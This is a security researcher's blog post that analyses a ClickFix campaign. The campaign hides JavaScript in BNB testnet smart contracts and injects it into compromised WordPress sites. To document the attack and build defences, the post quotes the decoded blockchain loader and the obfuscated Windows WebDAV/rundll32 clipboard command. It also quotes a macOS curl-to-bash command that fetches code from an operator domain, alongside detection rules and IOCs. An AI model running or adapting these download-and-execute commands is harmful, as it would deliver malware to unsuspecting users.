Post

Another day, another 1,738 compromised websites: ClickFix keeps leaning on EtherHiding for C2

ClickFix keeps leaning on EtherHiding for C2 - combined with a prior investigation, this now accounts for over 3,500 compromised sites.

Another day, another 1,738 compromised websites: ClickFix keeps leaning on EtherHiding for C2

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.

TL;DR

A WebDAV/rundll32 loader (pcalua.exe -a powershell.exe -c "saps cmd ..." mounting \\{random}.{delivery-domain}@SSL\{uuid} as a fake file share and running rundll32 gc.key,#1) traces back to an EtherHiding injection - malicious JavaScript hosted entirely inside BNB Smart Chain testnet smart-contract storage, injected into compromised WordPress sites behind a fake “I’m not a robot” ClickFix overlay. I independently re-verified every on-chain fact in an existing analysis, and along the way caught the operator rotate a C2 domain live, mid-revalidation, on the exact same contract address - and found a second execution mechanism (a plain curl | bash command for macOS) nobody had documented yet.

If this is your fleet, do these first:

  • Block outbound WebDAV verbs (PROPFIND, MKCOL) to non-corporate destinations, or disable the WebClient service entirely if you have no legitimate use case for it.
  • Alert on any interactive powershell.exe/cmd.exe whose parent is pcalua.exe - a rarely-abused, highly anomalous pairing.
  • Treat a browser making an eth_call to a public BSC-testnet RPC as a near-certain compromise signal - no ordinary site visitor has a reason to query blockchain testnet infrastructure.

Full IOC table and YARA/Sigma-style hunt queries at the bottom.

Another day, another compromised WordPress site quietly running a smart contract’s JavaScript instead of its own. I’ve written about EtherHiding on this blog before - malware operators using blockchain storage as an unkillable hosting layer for their payloads - but this one came with a bonus: I caught the operator rotate a live C2 domain in the middle of my own revalidation, on the exact same contract address, hours apart on the same day. That’s not a theory about how these campaigns evolve. That’s a byte-for-byte, timestamped before-and-after.

The starting point was a single Windows command line: a WebDAV-disguised download chained through pcalua.exe - part of a trend I’ve been noticing lately, attackers rotating through different signed-binary proxies as the outer launcher on these WebDAV-loader chains rather than sticking to the usual handful. Pulling on that thread led to a browser-side EtherHiding injection, three (then four) confirmed C2 wallets, and - once I went back and independently re-checked every claim rather than trusting the first pass - a compromised-site count that needed a real correction, not just a re-confirmation. Here’s the whole chain, what held up, what didn’t, and what I found that the first look missed entirely.

The attack at a glance

1
2
3
4
5
6
7
Compromised WordPress site (EtherHiding JS injection, hidden in a smart contract)
  -> fake "I'm not a robot" ClickFix overlay
  -> victim copies a command to clipboard, pastes into Win+R
  -> pcalua.exe -a powershell.exe -c "saps cmd ..." (LOLBIN proxy, optional)
  -> cmd.exe delayed-expansion variable reassembly (defeats substring detection)
  -> pushd \\{random}.{delivery-domain}@SSL\{uuid}  (WebDAV HTTPS mount disguised as a UNC path)
  -> rundll32 gc.key,#1  (DLL execution by ordinal, no local file path ever appears)

Everything from pushd onward runs inside a single, unremarkable-looking directory-change-then-run command. There’s no visible download, no browser, no curl, no Invoke-WebRequest. If you only look for “suspicious network tools” in your telemetry, this chain is built to walk straight past you.

How it works

Getting in the door: EtherHiding, again

The injection itself is a single anomalous script tag sitting among a compromised site’s legitimate plugin scripts:

1
<script id="_ea_s" src="data:text/javascript;base64,KGZ1bmN0aW9u(...)"></script>

Decoding that data: URI gives an obfuscated loader whose entire job is to eth_call a smart contract’s get() function - selector 0x6d4ce63c - over a public BNB Smart Chain testnet RPC (bsc-testnet-rpc[.]publicnode[.]com). The contract’s storage holds the actual payload, base64-encoded. There’s no server to take down here; the “hosting provider” is a blockchain.

Worth pausing on the testnet detail, because it’s the whole reason this works cheaply. eth_call is a read-only query - it costs no gas and needs no wallet, on any chain. But deploying the contract and updating its stored payload both require signed transactions, which normally cost real gas. Testnet gas is free and requestable from public faucets, so the entire C2 layer - deploy, rotate, read, repeat - costs the operator nothing and needs no funded mainnet wallet. Free hosting, and it survives takedown requests because there’s no domain or IP to take down; there’s a contract address on a public ledger.

The loader chains through three stages, each fetched via its own eth_call:

  1. Stage 1 decodes to Stage 2’s fetch call.
  2. Stage 2 runs anti-analysis checks (navigator.webdriver, headless browser user-agent strings, zero-size window) and branches by OS - Windows and macOS each eth_call a different contract for their OS-specific Stage 3.
  3. Stage 3 builds the fake CAPTCHA overlay and, on click, writes an attack command straight to the clipboard.

Decoded, Stage 1 is compact enough to show in full - the eth_call, the base64/eval handoff, and the OS-gate all live in one small IIFE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(function(){
  async function load_(address){
    let _data={method:"eth_call",params:[{to:address,data:"0x6d4ce63c"},"latest"],id:97,jsonrpc:"2.0"};
    let response=await fetch("https://bsc-testnet-rpc[.]publicnode[.]com",{method:"POST",body:JSON.stringify(_data)});
    // ...decode the returned hex, base64-decode the result, then:
    eval(atob(value));
  }
  const isHeadless=()=>{ /* navigator.webdriver, HeadlessChrome UA, zero-size window checks */ };
  const isWindows=navigator.userAgent.includes("Windows");
  const isMac=navigator.userAgent.includes("Macintosh");
  isHeadless()||isLocalhost()
    ? console.log("stop watching us :)")
    : isWindows ? load_("0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff")
    : isMac && load_("0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5");
})();

(Trimmed for readability - the full decoded file is in the companion detections repo.) That “stop watching us :)” line is the only bit of personality in an otherwise all-business loader - a small, deliberate jab at anyone sandboxing this instead of being a real victim.

Worth a direct comparison to the EtherHiding kit from my last post on this technique: different chain entirely (BSC testnet here, Polygon there), different function selector, and a completely different, unminified, readable code style over there versus this compact, single-letter-variable build here. No shared code, no shared contract addresses, no shared wallets

  • as far as I can tell this is an independently built kit that just happens to lean on the same underlying trick (arbitrary JS living in a smart contract’s storage, fetched with a free, unauthenticated read call) rather than a shared toolkit or the same operator branching out.

The clickfix overlay and the clipboard payload

The overlay is a convincing enough “I’m not a robot” checkbox. Click it and this lands on your clipboard (Windows branch):

1
pcalua.exe -a "powershell.exe" -c "saps cmd '/v/c set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x \\{random8}.{delivery-domain}@SSL\${uuid} & !c!!d! gc.key,#1' -WI MIn"

saps is PowerShell’s built-in alias for Start-Process; -WI MIn resolves via unambiguous-prefix matching to -WindowStyle Minimized. The cmd.exe layer reassembles pushd and rundll32 at runtime from split variables (a=pu, b=shd, c=run, d=dll32) purely to keep those two strings from ever appearing literally in the command line. \\host@SSL\path is documented Windows WebClient syntax - it silently mounts https://host/path as if it were a file share, so the “download” looks like a directory change. rundll32 gc.key,#1 then executes the mounted DLL by ordinal number rather than by exported function name - one more small avoid-a-readable-string trick.

pcalua.exe (Program Compatibility Assistant) is the outer proxy launcher here, and it’s optional - I saw one incident with it and a second, same gc.key/UUID pattern, without it. Don’t anchor a detection on the launcher choice alone.

A mac-based variant: a completely different chain

Decoding the macOS-branch contract’s own payload turned up a mac-targeted variant of the attack, and it doesn’t do WebDAV at all:

1
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '{uuid}.bahigo90bet[.]com/?ublib={uuid}')"

Plain curl | bash, dressed up with a fake “BotGuard” challenge message after it runs. Two platforms, two entirely different post-clipboard mechanisms, same clipboard-hijack front door. If your macOS detections are tuned around WebDAV or rundll32, this variant sails past them - it needs its own hunt.

Catching the rotation live

The most interesting thing I found wasn’t a new technique - it was a before-and-after. An earlier pass through this campaign, earlier the same day, had decoded the Windows-branch contract and recovered a delivery domain, behtarin-site-shartbandi[.]com, with the raw on-chain response saved to disk. When I re-fetched the exact same contract address independently, later that day, the bytes were different - 59,648 bytes back versus 60,104 originally - and decoding them gave a different embedded domain: site-shartbandi-farsi[.]com.

Same contract. Same get() call. Different payload. The operator updated the contract’s stored content in place rather than deploying a fresh one - domain rotation as a direct storage write, not a redeploy. I hadn’t expected that going in; my working assumption was that rotation meant a new contract address each time. Nice to have a hypothesis actually get tested against live data and come back with a real answer either way.

Pulling that same recursive-decode approach across every contract I could reach turned up one more delivery domain the original pass hadn’t gotten to yet: casinomhub[.]bet, on a Windows-branch contract serving a different cluster of compromised sites. All four of these domains - behtarin-site-shartbandi[.]com, site-shartbandi-farsi[.]com, casinomhub[.]bet, and the macOS-only bahigo90bet[.]com - share the exact same Cloudflare nameserver pair, and two of them were registered on the same day as each other, in each pairing. Same operator, bulk-registered domain inventory, rotating through it.

Scaling the check: 24 sites was never going to be the whole picture

The original contract/site sample covered 24 compromised sites by hand. I scaled that to the full population instead - every site a fresh urlscan sweep returned, 1,816 of them - by pulling each one’s stored scan result and extracting the exact contract address its injected loader called. The headline: no new genuine campaign contract turned up. Every one of the 12 already-known contracts held up under a sample 75x larger than the original, each one individually live-verified. That’s a better result than finding more contracts would have been - it means the picture I already had wasn’t a small-sample artifact.

Getting to a number I’d actually trust took two more checks on top of that. First, I tested every candidate contract the wider sweep surfaced against the campaign’s own fingerprints - does its owner() match a known operator wallet, does its payload contain the campaign’s known markers - before counting anything it touched as a real victim. Second, I confirmed each site was actually the one running the injected script, not just a page a compromised site happened to redirect to afterward, by tracing which page’s document context issued the real eth_call rather than trusting the domain a scan got filed under.

Final corrected total, after both checks: 1,738 confirmed compromised sites. Real number’s a bit smaller than the first pass reported, and I’d rather publish the smaller, correct one.

Laid out by wallet and contract, the final picture looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Wallet 0xd71f4cdc... (primary - owns both site clusters, both OS branches)
 |-- stage-1, symmetryclosets cluster .......... 851 sites
 |-- stage-1, second site cluster ................ 62 sites
 |-- Windows branch, symmetryclosets .............. 18 sites
 |-- macOS branch, symmetryclosets ................. 0 sites (chained-to only)
 |-- Windows-equivalent branch, second cluster ..... 0 sites (chained-to only)
 '-- utility/gate contract ......................... 16 sites
                                          wallet total: 947 sites

Wallet 0x25a7625b... (secondary deployer)
 '-- rotated stage-1 contract ..................... 419 sites

Wallet 0x09813ef4... (secondary deployer)
 '-- rotated stage-1 contract ..................... 244 sites

Utility contract with no owner() function (unattributed)
 '-- .................................................22 sites

+ matched the campaign's on-chain signature, contract not
  individually re-verified this session ..............106 sites
--------------------------------------------------------------
= 1,738 confirmed compromised sites

The two 0-site branch contracts are still confirmed genuine - they’re just the second hop in their chain (Stage 2 fetches them), not the first eth_call a site’s own page makes, so they didn’t turn up as anyone’s directly-observed first contact point in this particular harvest.

Techniques observed

The following techniques have been mapped to MITRE ATT&CK for future reference.

TacticTechniqueATT&CK IDWhat it did here
Resource DevelopmentCompromise InfrastructureT1584.0041,738 legitimate small-business sites used as delivery infrastructure
Initial AccessDrive-by CompromiseT1189Injected script served from each compromised site
Command and ControlWeb Service: Dead Drop ResolverT1102.001Payload resolved via a BSC-testnet smart contract’s eth_call return value
Defense EvasionDeobfuscate/Decode Files or InformationT1140Multi-layer base64/eval(atob(...)) nesting; per-build obfuscated variable names
Defense EvasionSigned Binary Proxy ExecutionT1218pcalua.exe used as an optional outer launcher
Defense Evasion / ExecutionSystem Binary Proxy Execution: Rundll32T1218.011rundll32 gc.key,#1 - ordinal export, no readable function name
ExecutionUser Execution: Malicious Copy/PasteT1204.004ClickFix - victim pastes the clipboard command into Win+R or a terminal
ExecutionCommand and Scripting Interpreter: PowerShellT1059.001Windows branch launcher
ExecutionCommand and Scripting Interpreter: Unix ShellT1059.004macOS branch (/bin/bash -c "$(curl ...)")
Command and ControlIngress Tool TransferT1105WebDAV @SSL UNC path disguising an HTTPS download as a file-share mount
Defense EvasionVirtualization/Sandbox EvasionT1497navigator.webdriver, headless-browser UA, zero-size-window checks before serving Stage 3

Why this matters

Every rung of this chain exists to make the “download” step invisible to something watching for downloads. There’s no file fetched over HTTP in any log a network team would normally scrutinize; there’s a directory mount and a DLL call by number. The payload itself resolves off-server, on a public blockchain, so there’s no C2 domain to sinkhole in the traditional sense - only a contract address, which the operator can quietly repoint whenever it suits them, which I now have direct, timestamped proof of.

The actual gc.key payload’s capability is still unknown - every copy I could reach was already gone by the time I looked, on both continents of this investigation. That’s the honest state of it: a confirmed PE32+ DLL, one recovered hash, and a delivery mechanism understood end to end, but the “what does it actually do once it runs” question stays open until someone catches a live instance or recovers a WebClient cache from an affected host.

What defenders can do

Technique (ATT&CK)What to doEssential EightWhat to hunt for
WebDAV ingress transfer (T1105)Block outbound WebDAV verbs (PROPFIND, MKCOL) to non-corporate destinations; disable the WebClient service entirely on hosts with no legitimate WebDAV use caseNo direct Essential Eight home - network architecture, see belowMicrosoft-Windows-WebClient event log for @SSL UNC connection attempts, followed by a rundll32 child process
Rundll32 ordinal execution (T1218.011)Application control rules that flag rundll32 invocations using a bare ordinal (,#N) rather than a named exportApplication Control (L1+)Process-creation telemetry: rundll32.exe with a comma-number argument and no local file path
Signed binary proxy execution (T1218)Alert on pcalua.exe spawning powershell.exe or cmd.exe - a rare, almost always anomalous pairingApplication Control (L1+)EDR process tree: parent pcalua.exe, child interactive shell
ClickFix clipboard hijack (T1204.004)User education that no legitimate site ever asks for a paste into Run or a terminal; application control catches the execution even when the user follows the promptApplication Control; User Application HardeningEvent ID 4688 where the parent is an interactive powershell.exe/cmd.exe/Terminal with no arguments and the child touches a mount or download
EtherHiding C2 (T1102.001)Treat any browser-originated eth_call to a public testnet RPC from a non-developer endpoint as an anomaly worth alerting onNo direct Essential Eight home - network architecture, see belowProxy/DNS logs for requests to bsc-testnet-rpc[.]publicnode[.]com and similar public RPC endpoints from ordinary user traffic
Drive-by compromise (T1189)If you run WordPress or another CMS at scale, audit your own rendered page source for an unexplained inline <script> with a data:text/javascript;base64, source, and rotate credentials/patch plugins on anything matchingPatch Applicationsnew Function( or eval(atob( next to a base64 blob anywhere in your site’s delivered HTML

T1189 (Drive-by Compromise) and the EtherHiding C2 technique don’t have a clean home in the standard Essential Eight - the Eight assumes you’re defending your own endpoints, not that your public-facing website is the delivery vehicle for someone else’s endpoint attack. Where E8 doesn’t have an answer, application control and network egress monitoring on the consuming side are the honest fallback, and CMS hygiene (patching, plugin audits, credential rotation) is the fallback on the hosting side.

For the WebDAV/rundll32 chain specifically: the WebClient service is disabled by default on Windows Server and can be safely disabled on most workstation fleets that don’t have a genuine business reason to mount WebDAV shares. That single change removes this entire delivery mechanism regardless of which domain the operator rotates to next - a better return than chasing individual C2 domains one at a time.

Hunting and detection summary

  • Process-creation telemetry for pcalua.exe spawning powershell.exe or cmd.exe (Event ID 4688 or Sysmon Event ID 1).
  • cmd.exe command lines matching the delayed-expansion variable-split pattern: set [a-d]=\w{2,6}&set [a-d]=\w{2,6}&set [a-d]=\w{2,6}&set [a-d]=\w{2,6}&for %.
  • Any command line containing both @SSL\ and rundll32.
  • rundll32 invocations ending in a bare ,#1 (or any bare ordinal) with no preceding local file path.
  • Microsoft-Windows-WebClient event log entries for @SSL UNC mounts, correlated with a subsequent rundll32 child process.
  • On macOS: bash -c command lines containing a curl call with a Mac OS X 10_15_7 user-agent string and a ?ublib= query parameter.
  • Web proxy/DNS logs for any request to bsc-testnet-rpc[.]publicnode[.]com (or another public BSC-testnet RPC) originating from ordinary browsing traffic, not a developer or CI endpoint.
  • File hash sweep for the one confirmed gc.key build (below) regardless of filename, since the actor may rename it per deployment.
  • If you operate a WordPress or other CMS site: check your own rendered source for an unexplained <script id="_ea_s">-shaped inline tag or any data:text/javascript;base64, script source you didn’t put there.

Indicators of compromise

TypeIndicatorNotes
Domainbetwanaa[.]comWebDAV delivery apex
Domainboroo[.]betWebDAV delivery apex - same Cloudflare account as betwanaa[.]com
Domain1bet1yek[.]betWebDAV delivery apex - same toolkit, different Cloudflare account
Domainbehtarin-site-shartbandi[.]comWebDAV delivery apex - confirmed correct at original analysis time, since rotated away from on the same contract
Domainsite-shartbandi-farsi[.]comWebDAV delivery apex - current embedded domain on that same contract as of this revalidation
Domaincasinomhub[.]betWebDAV delivery apex - newly decoded this revalidation
Domainbahigo90bet[.]comcurl-pipe-bash delivery apex - macOS branch only, not WebDAV
Domain (shared infra, not itself malicious)bsc-testnet-rpc[.]publicnode[.]comPublic BSC testnet RPC the injected loader beacons
Smart contract0xA1decFB75C8C0CA28C10517ce56B710baf727d2eStage-1 payload contract - 853 sites observed calling it
Smart contract0x7Fd85c090f2b35071C57a3b9FeAF462aaEb0E437Rotated stage-1 contract - 419 sites
Smart contract0xfb448d465841c63f3bc433be61eb692b813d469dRotated stage-1 contract - 244 sites
Smart contract0xdf132e2893824e26ec8ae8014b4f4facd54ed67fStage-1 contract, second site cluster - 61 sites
Smart contract0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383FfWindows-branch contract - the one caught rotating domains live
Smart contract0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5macOS-branch contract - curl-pipe-bash mechanism
Smart contract0x0cd58060328e308a43d3c53cfd03a45233ea308aWindows-equivalent branch, second site cluster - embeds casinomhub[.]bet
Wallet (primary operator)0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290Owns 7 of the 12 known contracts; nonce grew +33 during this revalidation alone
Wallet (secondary deployer)0x25a7625b3c74bb0452333c8d7f463a2f640fa5afOwns 1 rotated stage-1 contract
Wallet (secondary deployer)0x09813ef4ab9a7361a8d0455d57e9a81295dae5f8Owns 1 rotated stage-1 contract
SHA256f11057ab58bef936d98ba189829c64260a6a540cdaa046f93613138e820c98c6One confirmed gc.key build - PE32+ DLL x86-64, 1,268,336 bytes
Filenamegc.keyConsistent across every delivery apex and victim instance observed

The complete IOC set - including the utility/gate contracts, selectors, and the full corrected 1,738-site list - is in the companion detections repo linked at the end.

Detection rules

rule Betwanaa_Boroo_WebDAV_RunDLL32_Loader_CmdLine
{
    meta:
        description = "Detects the WebDAV@SSL->rundll32 gc.key loader command line (pcalua.exe proxy layer optional)"
        date        = "2026-07-15"
        author      = "blueteam.cool"
    strings:
        $lolbin      = "pcalua.exe" ascii wide nocase
        $webdav_ssl  = "@SSL\\" ascii wide nocase
        $rundll_ord  = "rundll32" ascii wide nocase
        $ord_call    = ",#1" ascii wide
        $delayexp    = /set [a-d]=[a-z0-9]{2,6}&set/ ascii nocase
        $payload     = "gc.key" ascii wide nocase
    condition:
        ( $webdav_ssl and $ord_call and $delayexp ) or
        ( $lolbin and $webdav_ssl and $rundll_ord ) or
        ( $webdav_ssl and $payload )
}

rule Betwanaa_Boroo_MacOS_CurlBash_Loader_CmdLine
{
    meta:
        description = "Detects the macOS curl-pipe-bash variant of this same campaign - distinct from the Windows WebDAV pattern"
        date        = "2026-07-15"
        author      = "blueteam.cool"
    strings:
        $bash      = "/bin/bash -c" ascii wide
        $curl_ua   = "Mac OS X 10_15_7" ascii wide
        $ublib     = "?ublib=" ascii wide
    condition:
        ( $bash and $curl_ua ) or ( $bash and $ublib )
}

Sigma-style command-line hunt pseudocode:

1
ParentImage endswith 'pcalua.exe' AND Image endswith 'powershell.exe'
1
CommandLine contains '@SSL\' AND CommandLine contains 'rundll32'
1
CommandLine matches 'set [a-d]=\w{2,6}&set [a-d]=\w{2,6}&set [a-d]=\w{2,6}&set [a-d]=\w{2,6}&for %'

Closing

What sticks with me here is the scale, and how fast it’s adding up. I mapped five other EtherHiding operators across two kit families a few days before this one and landed on 1,829 confirmed compromised sites. Add this campaign’s 1,738, found within days of that count, and that’s over 3,500 confirmed compromised websites tied to ClickFix campaigns leaning on EtherHiding for C2 - across just two investigations, back to back. That’s not a slow trickle. That’s the same pattern showing up again and again, faster than I can fully map it.

ASD called this exact shape out in their advisory on large-scale exploitation campaigns targeting website content management systems, and everything across these investigations backs it up: CMS platforms are being compromised at scale and repurposed as someone else’s delivery infrastructure, not just defaced or spammed. If you run a CMS site of any size, that’s worth taking seriously on its own merits - you might be the infrastructure in an attack aimed at somebody else’s endpoint, and never know it.

Stay curious.


On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.

References

This post is licensed under CC BY 4.0 by the author.